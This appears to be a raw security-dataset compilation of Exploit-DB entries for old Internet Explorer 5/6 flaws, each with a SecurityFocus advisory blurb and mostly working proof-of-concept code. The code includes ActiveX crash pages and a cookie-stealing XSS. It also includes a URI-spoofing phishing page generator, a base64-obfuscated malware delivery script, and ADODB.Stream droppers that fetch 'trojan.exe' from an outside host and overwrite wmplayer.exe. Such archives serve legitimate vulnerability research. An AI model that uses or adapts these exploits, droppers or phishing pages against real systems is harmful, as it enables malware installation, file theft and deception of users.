deardaniel/secdata-raw huggingface dataset:
Exploit-DB #21749
Description: Microsoft Internet Explorer 5/6 - XML Redirect File Disclosure
Type: remote
Platform: windows
Date: 2002-08-23
Author: GreyMagic Software

Exploit:
source: https://www.securityfocus.com/bid/5560/info

A flaw in Microsoft Internet Explorer may reveal the entire contents of XML files and partial contents of other files to attackers. This vulnerability allows an attacker to read the entire contents of XML files, and fragments of other files, existing in a known location, from a victim user's system.

This vulnerability can be exploited via a malicious webpage or via malicious HTML e-mail. Other applications that use the Internet Explorer engine are affected as well (Outlook, MSN Explorer, etc.). 

<script language="xml" src="getFile.asp" id="oFile"></script>
<script language="jscript">
onload=function () {
var oXD=oFile.XMLDocument,
oPE=oXD.parseError;

alert(
oXD.firstChild || oPE.line>0 ?
"File found!\n"+
"Details:\n\n"+
(oXD.xml || "Line "+oPE.line+" contains '"+oPE.srcText+"'")
:
"File does not exist or could not be retrieved."
);
}
</script>
Exploit-DB #21692
Description: Microsoft Internet Explorer 5/6 / Konqueror 2.2.2/3.0 / Weblogic Server 5/6/7 - Invalid X.509 Certificate Chain
Type: remote
Platform: windows
Date: 2002-08-06
Author: Mike Benham

Exploit:
source: https://www.securityfocus.com/bid/5410/info

A flaw has been reported in the handling of X.509 certificates by a number of products, including several web browsers. It may be possible for a malicious party to create certificates for arbitrary domains, which will be treated as trusted by the vulnerable browser.

The flaw lies in the handling of intermediate certificate authorities. Normally, intermediate certificates should possess a Basic Constraints field which states the certificate may be used as a signing authority.

Vulnerable products do not require the Basic Constraints field be properly defined. A malicious party with one valid certificate may sign a new certificate for an arbitrary domain. This may allow the attacker to spoof a sensitive domain, or to attempt a man-in-the-middle attack against encrypted communications.

This vulnerability was originally reported in Microsoft's Internet Explorer web browser. It has been reported that, in the case of Microsoft Internet Explorer, the flaw lies in some cryptographic functions implemented in the operating system. It should be noted that this flaw has not been reported in the Cryptographic API included with Microsoft Windows.

Reports state that IIS 5.0 under Windows 2000 is also vulnerable. In this case, client certificate chains are not properly verified. Attackers may exploit this vulnerability to bypass some authentication schemes.

This vulnerability also exists in some versions of KDE and the included Konqueror web browser. Versions 3.0.2 and earlier are vulnerable.

** A report suggests that the patch issued by Microsoft may not fully protect against this vulnerability. It may be possible that a malicious site using an invalid certificate may mislead users into believing that a certificate is expired rather than being invalid.

** UPDATE 11/11/03 - Microsoft has updated their bulletin for this issue. Users who installed Internet Explorer 6 after installing Windows 2000 Service Pack 4 may have reintroduced this issue onto their systems. A new patch is available for users who installed Internet Explorer 6 on Windows 2000 SP4 systems.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21692.tar.gz
Exploit-DB #23422
Description: Microsoft Internet Explorer 5/6 / Mozilla 1.2.1 - URI Display Obfuscation (1)
Type: remote
Platform: windows
Date: 2003-12-09
Author: Guy Crumpley

Exploit:
source: https://www.securityfocus.com/bid/9182/info

A weakness has been reported in multiple browsers that may allow attackers to obfuscate the URI for a visited page. The problem is said to occur when a URI designed to pass access a specific location with a supplied username, contains a hexadecimal 1 value prior to the @ symbol.

An attacker could exploit this issue by supplying a malicious URI pointing to a page designed to mimic that of a trusted site, and tricking a victim who follows a link into believing they are actually at the trusted location.

On Error Resume Next

PromtStart = "Do you want to create a web page to exploit Internet Explorer 5.01, 5.5 and 6.0 on Windows" _
& " platforms?" & vbcrlf & "(URL Obfuscation - https://www.securityfocus.com/bid/9182)"

Ok2Run = MsgBox (PromtStart,vbyesno + vbquestion,"URL Obfuscation Web Page Creator")

If Ok2Run = vbyes Then
	Do While strFileName = ""
		strFileName = InputBox ("Enter the name of the web page file you want to create","File Name","TEST.HTML")
	Loop
	Do While strSpoofSite = ""
		strSpoofSite = InputBox ("Enter the name of the site you want users to THINK they're going to:","Spoof Site","atkins.com")
	Loop
	Do While strRealSite = ""
		strRealSite = InputBox ("Enter the name of the site users WILL go to when they click on the link:","Real Site","www.mcdonalds.com")
	Loop
	Do While strLinkText = ""
		strLinkText = InputBox ("Enter the text you want to appear in the link:","Link Text","Go to the Atkins Site")
	Loop
	Err.Clear
	CreateExploitPage strFileName, strSpoofSite, strRealSite, strLinkText
	If Err.Number = 0 then
		MsgBox "Your exploit page has been saved to C:\" & strFileName & ".",vbokonly + vbinformation, "Script Complete"
	Else
		MsgBox "An error occured (" & Err.Description & ")saving your exploit page to C:\" & strFileName & ".",vbokonly + vbcritical, "Script Error"
		Err.Clear 
	End if
Else
	MsgBox "Script canceled.",vbokonly + vbcritical,"URL Obfuscation Web Page Creator"
End If

Sub CreateExploitPage(strFileName, strSpoofSite, strRealSite, strLinkText)
	Set fs = CreateObject("Scripting.FileSystemObject") 
	Set a = fs.CreateTextFile("c:\" & strFileName, True) 
	a.WriteLine("<HTML>") 
	a.WriteLine("<TITLE>Exploit Page for BID 9182 (https://www.securityfocus.com/bid/9182)</TITLE>")
	a.WriteLine("<BODY>")
	strExploitLine = "<A HREF=" & Chr(34) & "http://" & strSpoofSite & Chr(1) & "%00@" & strRealSite 
	strExploitLine = strExploitLine & Chr(34) & ">" & strLinkText & "</A>"
	a.WriteLine(strExploitLine)
	a.WriteLine("</BODY>")
	a.WriteLine("</HTML>")
	a.Close 
End Sub
Exploit-DB #23423
Description: Microsoft Internet Explorer 5/6 / Mozilla 1.2.1 - URI Display Obfuscation (2)
Type: remote
Platform: windows
Date: 2003-12-09
Author: Zap The Dingbat

Exploit:
source: https://www.securityfocus.com/bid/9182/info
 
A weakness has been reported in multiple browsers that may allow attackers to obfuscate the URI for a visited page. The problem is said to occur when a URI designed to pass access a specific location with a supplied username, contains a hexadecimal 1 value prior to the @ symbol.
 
An attacker could exploit this issue by supplying a malicious URI pointing to a page designed to mimic that of a trusted site, and tricking a victim who follows a link into believing they are actually at the trusted location.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23423.zip
Exploit-DB #21748
Description: Microsoft Internet Explorer 5/6 Legacy Text Formatting - ActiveX Component Buffer Overflow
Type: remote
Platform: windows
Date: 2002-08-22
Author: Mark Litchfield

Exploit:
source: https://www.securityfocus.com/bid/5558/info

A buffer overflow vulnerability has been reported in Microsoft Internet Explorer's Legacy Text Formatting ActiveX control. The Legacy Text Formatting ActiveX control is used by Internet Explorer to display specially formatted text. Reportedly, the ActiveX control is vulnerable to a buffer overflow condition.

Microsoft has reported that the specific ActiveX control is not installed by default as part of Internet Explorer. The control, however, will be downloaded as it is needed from a Microsoft Web Site.

The control was retained by Microsoft for backward compatibility and has since been removed from the Web site. 

<OBJECT
classid="clsid:99B42120-6EC7-11CF-A6C7-00AA00A47DD2"
id=lblActiveLbl
width=250
height=250
align=left
hspace=20
vspace=0
>
<PARAM NAME="Angle" VALUE="90">
<PARAM NAME="Alignment" VALUE="4">
<PARAM NAME="BackStyle" VALUE="0">
<PARAM NAME="Caption" VALUE="long char string">
<PARAM NAME="FontName" VALUE="NGS Software Font">
<PARAM NAME="FontSize" VALUE="50">
<PARAM NAME="FontBold" VALUE="1">
<PARAM NAME="FrColor" VALUE="0">
</OBJECT>
Exploit-DB #9893
Description: Microsoft Internet Explorer 5/6/7 - Memory Corruption (MS09-054)
Type: remote
Platform: windows
Date: 2009-10-15
Author: Skylined

Exploit:
MSIE Content-Encoding: deflate memory corruption vulnerability

(a.k.a. MSRC 8769, MS09-054, CVE-2009-1547, “Data Stream Header Corruption Vulnerability”)

Microsoft fixed a bug in Internet Explorer’s “Content-Encoding:deflate” implementation. Here are two HTTP replies that trigger the bug:

HTTP/.\nContent-Encoding:deflate\r\t\n\r\n\x20\x20
HTTP \nContent-Encoding:deflate\nContent-Range:\n\n”

The bug allows memory corruption, which can be exploited to execute arbitrary code. The big surprise (to me at least) is that nobody seems to have found this before even though it’s fairly easy to trigger.
Exploit-DB #22734
Description: Microsoft Internet Explorer 6 - '%USERPROFILE%' File Execution
Type: remote
Platform: windows
Date: 2003-06-05
Author: Eiji James Yoshida

Exploit:
source: https://www.securityfocus.com/bid/7826/info

Microsoft Internet Explorer is prone to an issue which could permit an attacker to load a known, existing file in a user's temporary directory (or possibly other directories in a user's profile). It is possible to exploit this issue via a malicious web page or HTML document. Exploitation would either require that an attacker already knows of a file in the user's temporary directory or that the attacker can place an arbitrary file in this directory.

This issue was reported to affect Internet Explorer 6, however, earlier versions may also be prone to this weakness. 

[ftpexp.html]
<html>
<a href="ftp://%@/../../../../Local Settings/Temp/exploit.html" TYPE="text/html" target="_blank">Exploit</a>
</html>

The must click the exploit link, which loads the following file (which must exist in the user's Temp directory):

[exploit.html]
<html>
<script>setTimeout(function(){document.body.innerHTML='<object classid="clsid:[PII_REDACTED]-[PII_REDACTED]"
codebase="file://c:/winnt/notepad.exe"></object>'}, 0);</script>
</html>

The following will read the file %TEMP%\exploit.html on a Windows 2003 system:

<a href="shell:cache\..\..\Local Settings\Temp\exploit.html">Exploit</a>
Exploit-DB #33063
Description: Microsoft Internet Explorer 6 - 'JavaScript:' URI in 'Refresh' Header Cross-Site Scripting
Type: remote
Platform: windows
Date: 2009-06-03
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/35570/info

Microsoft Internet Explorer is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to execute arbitrary script code in the context of the user running the application and to steal cookie-based authentication credentials and other sensitive data that may aid in further attacks.

Internet Explorer 6 is vulnerable; other versions may also be affected.

With request to script at web site:

http://www.example.com/script.php?param=javascript:alert(document.cookie)

Which returns in answer the refresh header:

refresh: 0; URL=javascript:alert(document.cookie)
Exploit-DB #28400
Description: Microsoft Internet Explorer 6 - 'TSUserEX.dll' ActiveX Control Memory Corruption
Type: remote
Platform: windows
Date: 2006-08-17
Author: nop

Exploit:
source: https://www.securityfocus.com/bid/19570/info

Microsoft Internet Explorer is prone to a memory-corruption vulnerability. This is related to the handling of the 'tsuserex.dll' COM object ActiveX control.

Attackers may exploit this issue via a malicious web page to execute arbitrary code in the context of the currently logged-in user. Exploitation attempts may lead to a denial-of-service condition as well. Attackers may also employ HTML email to carry out an attack.


=============== tsuserex.dll.htm start ================

<!--
// Microsoft Windows 2003 (tsuserex.dll) COM Object Instantiation
Vulnerability
// tested on Windows 2003 EE SP1 CN

// http://www.xsec.org
// nop (nop#xsec.org)

// CLSID: {E2E9CAE6-1E7B-4B8E-BABD-E9BF6292AC29}
// Info: ADsTSUserEx Class
// ProgID: tsuserex.ADsTSUserEx.1
// InprocServer32: C:\WINDOWS\system32\tsuserex.dll

--!>

<html><body>
<object classid="CLSID:{E2E9CAE6-1E7B-4B8E-BABD-E9BF6292AC29}"> </object>
</body>
</html>

=============== tsuserex.dll.htm end ==================
Exploit-DB #24187
Description: Microsoft Internet Explorer 6 - ADODB.Stream Object File Installation
Type: remote
Platform: windows
Date: 2003-08-23
Author: Jelmer

Exploit:
source: https://www.securityfocus.com/bid/10514/info

Microsoft Internet Explorer is prone to a security weakness that may permit malicious HTML documents to create or overwrite files on a victim file system when interpreted from the Local Zone (or other Security Zones with relaxed security restrictions, such as the Intranet Zone).

This weakness depends on scripting that abuses the ADODB.Stream Object to write an attacker-specified file to the victim file system. In this manner, an HTML document that is interpreted in the context of a Security Zone with relaxed security restrictions may install a malicious file on the victim file system.

Exploitation of this weakness typically requires other vulnerabilities to redirect the browser into the Local Zone (or other appropriate Security Zone) and then reference the malicious content once it has been written to the client file system. Other attack vectors also exist, such as enticing a user to download an HTML document to their system then opening it with the Web browser. HTML email may also provide an attack vector for this weakness (in combination with other vulnerabilities). Cross-site scripting and HTML injection vulnerabilities in Web applications may also provide a surreptitious attack vector in unsuspecting clients.

This issue was publicized in August 2003 and was previously referenced in BID 8577 "Multiple Microsoft Internet Explorer Script Execution Vulnerabilities" but is now being assigned its own BID. There are numerous exploits and worms in the wild that depend on this issue, in tandem with other known vulnerabilities, to install malicious code on client computers. 

<script language="vbscript">

const adTypeBinary = 1
const adSaveCreateOverwrite = 2
const adModeReadWrite = 3

set xmlHTTP = CreateObject("Microsoft.XMLHTTP")
xmlHTTP.open "GET","http://ip3e83566f.speed.planet.nl/NOTEPAD.EXE",
false
xmlHTTP.send
contents = xmlHTTP.responseBody

Set oStr = CreateObject("ADODB.Stream")
oStr.Mode = adModeReadWrite
oStr.Type = adTypeBinary
oStr.Open

oStr.Write(contents)
oStr.SaveToFile "c:\\test.exe", adSaveCreateOverwrite

</script>

This proof-of-concept was subsequently released by Jelmer to demonstrate how the issue may be used to overwrite wmplayer.exe:

var x = new ActiveXObject("Microsoft.XMLHTTP");
x.Open("GET", "http://attacker/trojan.exe",0);
x.Send();

var s = new ActiveXObject("ADODB.Stream");
s.Mode = 3;
s.Type = 1;
s.Open();
s.Write(x.responseBody);

s.SaveToFile("C:\\Program Files\\Windows Media Player\\wmplayer.exe",2);
location.href = "mms://";
Exploit-DB #24117
Description: Microsoft Internet Explorer 6 - Codebase Double Backslash Local Zone File Execution
Type: remote
Platform: windows
Date: 2003-11-25
Author: Liu Die Yu

Exploit:
source: https://www.securityfocus.com/bid/10344/info

A vulnerability has been reported that may potentially permit HTML documents to gain unauthorized access to local resources by using specific syntax when referencing said resource as a value for the CODEBASE object property. Under certain conditions, this could be exploited to reference executable content on the victim system.

In particular, by pre-pending two backslash characters (\\) to the resource path, it may be possible to invoke the resource. This syntax is reportedly still valid despite patches to limit other means of allowing remote users to reference local content on client systems.

This works if the resource is invoked from the Local Zone, so other vulnerabilities are required to bypass Zone restrictions and cause malicious content to be executed in the Local Zone. BIDs 9658, 9320, 9105, and 9107 could all theoretically be exploited in combination with this issue, potentially allowing for execution of arbitrary code on the client system if properly exploited.

Attacks that exploit this issue in tandem with other vulnerabilities may be executed through Internet Explorer or HTML email via Outlook/Outlook Express.

Note: This BID initially included a proof-of-concept that was published by Roozbeh Afrasiabi that caused a .CHM file to be referenced from the Internet Zone. Further research has determined that this is a new, distinct vulnerability and BID 10348 has been created to describe this issue.


file://[SysDrive]:\\[INTERNET CACHE PATH]\CONTENT.IE5\EXE.EXE

mhtml:file://[SysDrive]:\\[INTERNET CACHE PATH]\CONTENT.IE5\MHT.MHT!file:///C:\EXE.EXE
Exploit-DB #23340
Description: Microsoft Internet Explorer 6 - Double Slash Cache Zone Bypass
Type: remote
Platform: windows
Date: 2003-10-05
Author: Liu Die Yu

Exploit:
source: https://www.securityfocus.com/bid/8980/info

A vulnerability has been reported in Internet Explorer that may allow cached Internet content to be rendered in the My Computer zone. It is possible to exploit this issue by including an extra slash when referencing cached content from within a web page, for example:

[SysDrive]:\\Documents and Settings\[user_name]\Local Settings\Temporary Internet Files\Content.IE5

The extra slash prior to "Documents and Settings" will cause the referenced content to be handled in the context of the My Computer zone. Combined with other vulnerabilities, this issue could lead to execution of arbitrary code on the client system. A proof-of-concept has been released to demonstrate this issue may be exploited with other issues to cause execution of arbitrary code in the context of the client user. It should be noted that the proof-of-concept may only function correctly if the Internet Explorer cache is in the default location.

** A new proof-of-concept has been made available which uses the vulnerability described in BID 9106 to locate the Internet Explorer cache. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21199.zip

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23340-2.zip
Exploit-DB #21705
Description: Microsoft Internet Explorer 6 - File Attachment Script Execution
Type: remote
Platform: windows
Date: 2002-08-13
Author: http-equiv

Exploit:
source: https://www.securityfocus.com/bid/5450/info

An error has been reported in Microsoft Internet Explorer 6, which may allow malicious file attachments to execute arbitrary code in the context of the local system. 

HTM files are associated with Internet Explorer. It is possible for an attacker to cause Internet Explorer to force a download of a malicious HTM file. The downloaded HTM file may include malicious attacker-supplied script instructions that will be executed on the victim user's system.

This behavior has been reported in Internet Explorer 6. Other versions of Internet Explorer may share this vulnerability, this has not however been confirmed.

<?
function malware()
{
header("Content-type: text/html");
header("Content-Disposition: attachment");
echo base64_decode(
'PGltZyBkeW5zcmM9Imh0dHA6Ly93d3cubWFsd2FyZS5jb20vbW'.
'Fsd2FyZS9tYWx3YXJlLmNobSIgd2lkdGg9MSBoZWlnaHQ9MT4N'.
'Cg0KPFNDUklQVD4NCg0KLy8gNy4wMi4wMiBodHRwOi8vd3d3Lm'.
'1hbHdhcmUuY29tDQoNCi8vIHlvdSBtYXkgY29uc2lkZXIgd3Jp'.
'dGluZyBzZXZlcmFsIGxpbmVzDQovLyBpbiBjYXNlIG1hbHdhcm'.
'UuY2htIGFycml2ZXMgYXMgWzFdIG9yIFsyXSBldGMNCg0KZnVu'.
'Y3Rpb24gbWFsd2FyZSgpDQp7DQpzPWRvY3VtZW50LlVSTDsNCn'.
'BhdGg9cy5zdWJzdHIoLTAscy5sYXN0SW5kZXhPZigiXFwiKSk7'.
'DQpwYXRoPXVuZXNjYXBlKHBhdGgpOw0KZG9jdW1lbnQud3JpdG'.
'UoJzxGT1JNIG5hbWU9Im1hbHdhcmUiIEFDVElPTj0iamF2YXNj'.
'cmlwdDp3aW5kb3cuc2hvd0hlbHAoZG9jdW1lbnQuZm9ybXNbMF'.
'0uZWxlbWVudHNbMF0udmFsdWUpIj4nKTsNCmRvY3VtZW50Lndy'.
'aXRlKCc8Zm9ybT48aW5wdXQgdHlwZT0iaGlkZGVuIiAgc2l6ZT'.
'0iNDAiIG1heGxlbmd0aD0iODAiIHZhbHVlPSInK3BhdGgrJ1xc'.
'bWFsd2FyZVsxXS5jaG0iPjwvZm9ybT4nKTsNCnNldFRpbWVvdX'.
'QoJ2RvY3VtZW50Lm1hbHdhcmUuc3VibWl0KCknLDEwMDAwKTsN'.
'CiB9IA0Kc2V0VGltZW91dCgibWFsd2FyZSgpIiwyNTAwKTsgIA'.
'0KPC9TQ1JJUFQ+DQogDQoNCg=='.'');}
{ malware(); }
PHP ?>

<iframe src=<? echo $PHP_SELF ?> width=1 height=1>

<SCRIPT>

// 7.02.02 http://www.malware.com

function malware()
{
s=document.URL;
path=s.substr(-0,s.lastIndexOf(""));
path=unescape(path);
document.write('<FORM name="malware"
ACTION="javascript:window.showHelp(document.forms[0].elements
[0].value)">');
document.write('<form><input type="hidden" size="40" maxlength="80"
value="'+path+'malware[1].chm"></form>');
setTimeout('document.malware.submit()',10000);
}
setTimeout("malware()",2500);
</SCRIPT>
Exploit-DB #23903
Description: Microsoft Internet Explorer 6 - HTML Form Status Bar Misrepresentation
Type: remote
Platform: windows
Date: 2004-03-31
Author: http-equiv

Exploit:
source: https://www.securityfocus.com/bid/10023/info

A vulnerability has been identified in Microsoft Internet Explorer that allows an attacker to misrepresent the status bar in the browser, allowing vulnerable users to be mislead into following a link to a malicious site.

The issue presents itself when an attacker creates an HTML form with the submit 'value' property set to a legitimate site and the 'action' property set to the attacker-specified site. The malicious form could also be embedded in a link using the HTML Anchor tag and specifying the legitimate site as the 'href' property. This could aid in exploitation of other known browser vulnerabilities as the attacker now has a means to surreptitiously lure a victim user to a malicious site.

Microsoft Internet Explorer is vulnerable to this issue, however, Microsoft Outlook Express can used to carry out a successful attack as well since it relies on Internet Explorer to interpret HTML. It should also be noted that although HTML content is rendered in the Restricted Zone in Outlook Express, limiting the use of many HTML and DHTML tags, forms are still permitted. This vulnerability would most likely be exploited through HTML e-mail, though other attack vectors exist such as HTML injection attacks in third-party web applications.

The issue is reported to affect Internet Explorer 6 and Outlook Express 6. Other releases could also be affected.

<A
href="http://www.example.com">
<FORM action=http://www.malicious.com/t-bill.html method=get>
<INPUT style="BORDER-RIGHT: 0pt;
BORDER-TOP: 0pt; FONT-SIZE: 10pt; BORDER-LEFT: 0pt; CURSOR:
hand; COLOR:
blue; BORDER-BOTTOM: 0pt; BACKGROUND-COLOR: transparent;
TEXT-DECORATION: underline" type=submit
value=http://www.example.com>
</A>

<form action="http://www.malicious.com/" method="get">
<a href="http://www.example.com/"><input type="image" src="http://images.example.com/title.gif"></a>
</form>